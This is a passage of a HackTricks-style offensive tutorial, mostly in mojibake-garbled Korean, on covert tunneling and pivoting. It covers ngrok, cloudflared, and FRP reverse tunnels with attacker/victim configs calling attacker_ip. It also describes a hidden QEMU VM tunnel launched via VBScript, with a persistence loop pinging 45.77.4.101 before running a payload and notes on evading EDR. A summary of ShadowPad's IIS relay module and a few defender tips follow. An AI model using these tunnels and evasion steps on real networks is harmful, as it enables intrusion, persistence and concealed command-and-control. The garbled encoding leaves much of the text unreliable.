HTTP๋ฅผ ํตํ ํ์ผ ๋ ธ์ถ
./ngrok http file:///tmp/httpbin/
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
Sniffing HTTP calls
XSS,SSRF,SSTI โฆ์ ์ ์ฉํฉ๋๋ค
stdout์์ ์ง์ ๋๋ HTTP interface์์ http://127.0.0.1:4040๋ก ํ์ธํ ์ ์์ต๋๋ค.
Tunneling internal HTTP service
./ngrok http localhost:8080 --host-header=rewrite
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
#ย With basic auth
./ngrok http localhost:8080 --host-header=rewrite --auth="myuser:mysuperpassword"
ngrok.yaml ๊ฐ๋จํ ๊ตฌ์ฑ ์์
3๊ฐ์ ํฐ๋์ ์ฝ๋๋ค:
- 2๊ฐ์ TCP
- 1๊ฐ์ HTTP โ /tmp/httpbin/์์ ์ ์ ํ์ผ์ ๋ ธ์ถ
tunnels:
mytcp:
addr: 4444
proto: tcptunne
anothertcp:
addr: 5555
proto: tcp
httpstatic:
proto: http
addr: file:///tmp/httpbin/
Cloudflared (Cloudflare Tunnel)
Cloudflare์ cloudflared ๋ฐ๋ชฌ์ Cloudflare์ edge๋ฅผ ์ค๊ณ ์ง์ ์ผ๋ก ์ฌ์ฉํ์ฌ ์ธ๋ฐ์ด๋ ๋ฐฉํ๋ฒฝ ๊ท์น ์์ด๋ ๋ก์ปฌ TCP/UDP ์๋น์ค๋ฅผ ๋
ธ์ถํ๋ ์์๋ฐ์ด๋ ํฐ๋์ ์์ฑํ ์ ์์ต๋๋ค. ์ด๋ ์ด๊ทธ๋ ์ค ๋ฐฉํ๋ฒฝ์ด HTTPS ํธ๋ํฝ๋ง ํ์ฉํ๊ณ ์ธ๋ฐ์ด๋ ์ฐ๊ฒฐ์ด ์ฐจ๋จ๋ ๊ฒฝ์ฐ ๋งค์ฐ ์ ์ฉํฉ๋๋ค.
๋น ๋ฅธ ํฐ๋ ํ ์ค ๋ช ๋ น
# Expose a local web service listening on 8080
cloudflared tunnel --url http://localhost:8080
# => Generates https://<random>.trycloudflare.com that forwards to 127.0.0.1:8080
SOCKS5 pivot
# Turn the tunnel into a SOCKS5 proxy on port 1080
cloudflared tunnel --url socks5://localhost:1080 --socks5
# Now configure proxychains to use 127.0.0.1:1080
DNS๋ฅผ ํตํ ์ง์์ ์ธ ํฐ๋
cloudflared tunnel create mytunnel
cloudflared tunnel route dns mytunnel internal.example.com
# config.yml
Tunnel: <TUNNEL-UUID>
credentials-file: /root/.cloudflared/<TUNNEL-UUID>.json
url: http://127.0.0.1:8000
์ปค๋ฅํฐ๋ฅผ ์์ํ์ธ์:
cloudflared tunnel run mytunnel
๋ชจ๋ ํธ๋ํฝ์ด ํธ์คํธ์์ ํฌํธ 443์ ํตํด ์์๋ฐ์ด๋๋๊ธฐ ๋๋ฌธ์ Cloudflared ํฐ๋์ ingress ACLs์ด๋ NAT ๊ฒฝ๊ณ๋ฅผ ์ฐํํ๋ ๊ฐ๋จํ ๋ฐฉ๋ฒ์
๋๋ค. ๋ฐ์ด๋๋ฆฌ๊ฐ ๋ณดํต ๊ถํ ์์น ์ํ๋ก ์คํ๋๋ ๊ฒฝ์ฐ๊ฐ ๋ง์ผ๋ฏ๋ก ๊ฐ๋ฅํ๋ฉด ์ปจํ
์ด๋๋ --user ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ธ์.
FRP (Fast Reverse Proxy)
frp ๋ ํ๋ฐํ ์ ์ง๋๋ Go ๊ธฐ๋ฐ reverse-proxy๋ก TCP, UDP, HTTP/S, SOCKS and P2P NAT-hole-punching์ ์ง์ํฉ๋๋ค. **v0.53.0 (May 2024)**๋ถํฐ๋ SSH Tunnel Gateway๋ก ๋์ํ ์ ์์ด, ๋์ ํธ์คํธ๊ฐ ์ถ๊ฐ ๋ฐ์ด๋๋ฆฌ ์์ด ๊ธฐ๋ณธ OpenSSH ํด๋ผ์ด์ธํธ๋ง์ผ๋ก ๋ฆฌ๋ฒ์ค ํฐ๋์ ์ด ์ ์์ต๋๋ค.
Classic reverse TCP tunnel
# Attacker / server
./frps -c frps.toml # listens on 0.0.0.0:7000
# Victim
./frpc -c frpc.toml # will expose 127.0.0.1:3389 on frps:5000
# frpc.toml
serverAddr = "attacker_ip"
serverPort = 7000
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "127.0.0.1"
localPort = 3389
remotePort = 5000
์๋ก์ด SSH ๊ฒ์ดํธ์จ์ด ์ฌ์ฉํ๊ธฐ (no frpc binary)
# On frps (attacker)
sshTunnelGateway.bindPort = 2200 # add to frps.toml
./frps -c frps.toml
# On victim (OpenSSH client only)
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
์ ๋ช ๋ น์ ์ถ๊ฐ ํด์ ๋ฐฐํฌํ์ง ์๊ณ ๋์์ ํฌํธ 8080์ attacker_ip:9000์ผ๋ก ๊ณต๊ฐํฉ๋๋ค โ living-off-the-land pivoting์ ์ด์์ ์ ๋๋ค.
QEMU๋ฅผ ์ด์ฉํ ์๋ฐํ VM ๊ธฐ๋ฐ ํฐ๋
QEMU์ user-mode networking (-netdev user)์ hostfwd๋ผ๋ ์ต์
์ ์ง์ํ๋ฉฐ binds a TCP/UDP port on the host and forwards it into the guest. ๊ฒ์คํธ์์ ์ ์ฒด SSH daemon์ด ์คํ๋๋ฉด, hostfwd ๊ท์น์ ์์๋ก ์ฌ์ฉํ ์ ์๋ SSH jump box๋ฅผ ์ ๊ณตํ๋ฉฐ ์ด๋ ์์ ํ ephemeral VM ๋ด๋ถ์ ์กด์ฌํฉ๋๋ค โ ๋ชจ๋ ์
์ฑ ํ๋๊ณผ ํ์ผ์ด ๊ฐ์ ๋์คํฌ์ ๋จธ๋ฌผ๋ฌ ์๊ธฐ ๋๋ฌธ์ EDR๋ก๋ถํฐ C2 ํธ๋ํฝ์ ์จ๊ธฐ๊ธฐ์ ์๋ฒฝํฉ๋๋ค.
๋น ๋ฅธ ํ ์ค ๋ช ๋ น
# Windows victim (no admin rights, no driver install โ portable binaries only)
qemu-system-x86_64.exe ^
-m 256M ^
-drive file=tc.qcow2,if=ide ^
-netdev user,id=n0,hostfwd=tcp::2222-:22 ^
-device e1000,netdev=n0 ^
-nographic
โข ์ ๋ช
๋ น์ Tiny Core Linux ์ด๋ฏธ์ง (tc.qcow2)๋ฅผ RAM์์ ์คํํฉ๋๋ค.
โข Windows ํธ์คํธ์ ํฌํธ 2222/tcp๊ฐ ๊ฒ์คํธ ๋ด๋ถ์ 22/tcp๋ก ํฌ๋ช
ํ๊ฒ ํฌ์๋ฉ๋ฉ๋๋ค.
โข ๊ณต๊ฒฉ์์ ๊ด์ ์์ ๋์์ ๋จ์ํ ํฌํธ 2222๋ง ๋
ธ์ถํ๋ฉฐ, ํด๋น ํฌํธ๋ก ๋๋ฌํ ๋ชจ๋ ํจํท์ VM์์ ์คํ ์ค์ธ SSH ์๋ฒ๊ฐ ์ฒ๋ฆฌํฉ๋๋ค.
VBScript๋ฅผ ํตํด ์๋ฐํ๊ฒ ์คํํ๊ธฐ
' update.vbs โ lived in C:\ProgramData\update
Set o = CreateObject("Wscript.Shell")
o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tcp::2222-:22", 0
Running the script with cscript.exe //B update.vbs keeps the window hidden.
In-guest persistence
Because Tiny Core is stateless, attackers usually:
- Drop payload to
/opt/123.out - Append to
/opt/bootlocal.sh:
while ! ping -c1 45.77.4.101; do sleep 2; done
/opt/123.out
- Add
home/tcandoptto/opt/filetool.lstso the payload is packed intomydata.tgzon shutdown.
Why this evades detection
โข Only two unsigned executables (qemu-system-*.exe) touch disk; no drivers or services are installed.
์๋ช
๋์ง ์์ ์คํ ํ์ผ 2๊ฐ(qemu-system-*.exe)๋ง ๋์คํฌ์ ์ ๊ทผํ๊ณ , ๋๋ผ์ด๋ฒ๋ ์๋น์ค๋ ์ค์น๋์ง ์์ต๋๋ค.
โข Security products on the host see benign loopback traffic (the actual C2 terminates inside the VM).
ํธ์คํธ์ ๋ณด์ ์ ํ์ benign loopback traffic์ ๊ด์ฐฐํฉ๋๋ค(์ค์ C2๋ VM ๋ด๋ถ์์ ์ข
๋ฃ๋ฉ๋๋ค).
โข Memory scanners never analyse the malicious process space because it lives in a different OS.
๋ฉ๋ชจ๋ฆฌ ์ค์บ๋๋ ์
์ฑ ํ๋ก์ธ์ค ๊ณต๊ฐ์ ๋ถ์ํ์ง ๋ชปํฉ๋๋ค. ํด๋น ํ๋ก์ธ์ค๋ ๋ค๋ฅธ OS์์ ์คํ๋๊ธฐ ๋๋ฌธ์
๋๋ค.
Defender tips
โข Alert on unexpected QEMU/VirtualBox/KVM binaries in user-writable paths.
์ฌ์ฉ์ ์ฐ๊ธฐ ๊ฐ๋ฅ ๊ฒฝ๋ก์ ์๋ unexpected QEMU/VirtualBox/KVM binaries์ ๋ํด ๊ฒฝ๊ณ ๋ฅผ ์ค์ ํ์ธ์.
โข Block outbound connections that originate from qemu-system*.exe.qemu-system*.exe์์ ์์๋๋ ์์๋ฐ์ด๋ ์ฐ๊ฒฐ์ ์ฐจ๋จํ์ธ์.
โข Hunt for rare listening ports (2222, 10022, โฆ) binding immediately after a QEMU launch.
QEMU ์คํ ์งํ ๋ฐ์ธ๋ฉ๋๋ ๋๋ฌธ ์์ ํฌํธ(2222, 10022, โฆ)๋ฅผ ์ฐพ์๋ณด์ธ์.
IIS/HTTP.sys relay nodes via HttpAddUrl (ShadowPad)
Ink Dragonโs ShadowPad IIS module turns every compromised perimeter web server into a dual-purpose backdoor + relay by binding covert URL prefixes directly at the HTTP.sys layer:
-
Config defaults โ if the moduleโs JSON config omits values, it falls back to believable IIS defaults (
Server: Microsoft-IIS/10.0,DocumentRoot: C:\inetpub\wwwroot,ErrorPage: C:\inetpub\custerr\en-US\404.htm). That way benign traffic is answered by IIS with the correct branding.
Config defaults โ ๋ชจ๋์ JSON ์ค์ ์ ๊ฐ์ด ๋น ์ ธ ์์ผ๋ฉด ์ ๋ขฐํ ์ ์๋ IIS ๊ธฐ๋ณธ๊ฐ์ผ๋ก ๋์ฒด๋ฉ๋๋ค (Server: Microsoft-IIS/10.0,DocumentRoot: C:\inetpub\wwwroot,ErrorPage: C:\inetpub\custerr\en-US\404.htm). ์ด๋ ๊ฒ ํ๋ฉด ์ ์ ํธ๋ํฝ์๋ IIS๊ฐ ์ฌ๋ฐ๋ฅธ ๋ธ๋๋ฉ์ผ๋ก ์๋ตํฉ๋๋ค. -
Wildcard interception โ operators supply a semicolon-separated list of URL prefixes (wildcards in host + path). The module calls
HttpAddUrlfor each entry, so HTTP.sys routes matching requests to the malicious handler before the request reaches IIS modules.
Wildcard interception โ ์ด์์๋ ์ธ๋ฏธ์ฝ๋ก ์ผ๋ก ๊ตฌ๋ถ๋ URL ์ ๋์ฌ ๋ชฉ๋ก(ํธ์คํธ+๊ฒฝ๋ก์ ์์ผ๋์นด๋)์ ์ ๊ณตํฉ๋๋ค. ๋ชจ๋์ ๊ฐ ํญ๋ชฉ์ ๋ํดHttpAddUrl์ ํธ์ถํ์ฌ HTTP.sys๊ฐ ์ผ์นํ๋ ์์ฒญ์ IIS ๋ชจ๋์ ๋๋ฌํ๊ธฐ ์ ์ ์ ์ฑ ํธ๋ค๋ฌ๋ก ๋ผ์ฐํ ํฉ๋๋ค. -
Encrypted first packet โ the first two bytes of the request body carry the seed for a custom 32-bit PRNG. Every subsequent byte is XOR-ed with the generated keystream before protocol parsing:
def decrypt_first_packet(buf):
seed = buf[0] | (buf[1] << 8)
num = seed & 0xFFFFFFFF
out = bytearray(buf)
for i in range(2, len(out)):
hi = (num >> 16) & 0xFFFF
num = (hi * 0x7093915D - num * 0x6EA30000 + 0x06B0F0E3) & 0xFFFFFFFF
out[i] ^= num & 0xFF
return out
Encrypted first packet โ ์์ฒญ ๋ณธ๋ฌธ ์ฒ์ ๋ ๋ฐ์ดํธ๊ฐ ์ปค์คํ 32๋นํธ PRNG์ ์๋๋ก ์ฌ์ฉ๋ฉ๋๋ค. ์ดํ์ ๋ชจ๋ ๋ฐ์ดํธ๋ ํ๋กํ ์ฝ ํ์ฑ ์ ์ ์์ฑ๋ ํค์คํธ๋ฆผ์ผ๋ก XOR ์ฒ๋ฆฌ๋ฉ๋๋ค.
-
Relay orchestration โ the module maintains two lists: โserversโ (upstream nodes) and โclientsโ (downstream implants). Entries are pruned if no heartbeat arrives within ~30 seconds. When both lists are non-empty, it pairs the first healthy server with the first healthy client and simply pipes bytes between their sockets until one side closes.
Relay orchestration โ ๋ชจ๋์ โserversโ(์ ์คํธ๋ฆผ ๋ ธ๋)์ โclientsโ(๋ค์ด์คํธ๋ฆผ ์ํ๋ํธ)๋ผ๋ ๋ ๋ชฉ๋ก์ ์ ์งํฉ๋๋ค. ํญ๋ชฉ์ ์ฝ 30์ด ๋ด์ ํํธ๋นํธ๊ฐ ์์ผ๋ฉด ์ ๊ฑฐ๋ฉ๋๋ค. ๋ ๋ชฉ๋ก์ด ๋น์ด์์ง ์์ผ๋ฉด ์ฒซ ๋ฒ์งธ ์ ์ server์ ์ฒซ ๋ฒ์งธ ์ ์ client๋ฅผ ์ง์ง์ด ํ์ชฝ์ด ๋ซํ ๋๊น์ง ์์ผ ๊ฐ ๋ฐ์ดํธ๋ฅผ ๋จ์ํ ํ์ดํํฉ๋๋ค. -
Debug telemetry โ optional logging records source IP, destination IP, and total forwarded bytes for each pairing. Investigators used those breadcrumbs to rebuild the ShadowPad mesh spanning multiple victims.
Debug telemetry โ ์ ํ์ ๋ก๊น ์ ๊ฐ ํ์ด๋ง์ ๋ํด ์์ค IP, ๋์ IP ๋ฐ ์ ๋ฌ๋ ์ด ๋ฐ์ดํธ๋ฅผ ๊ธฐ๋กํฉ๋๋ค. ์กฐ์ฌ๊ด๋ค์ ์ด๋ฌํ ๋จ์๋ฅผ ์ฌ์ฉํด ์ฌ๋ฌ ํผํด์์ ๊ฑธ์น ShadowPad ๋ฉ์๋ฅผ ์ฌ๊ตฌ์ฑํ์ต๋๋ค.
Other tools to check
References
- Hiding in the Shadows: Covert Tunnels via QEMU Virtualization
- Check Point Research โ Before ToolShell: Exploring Storm-2603โs Previous Ransomware Operations
- Check Point Research โ Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


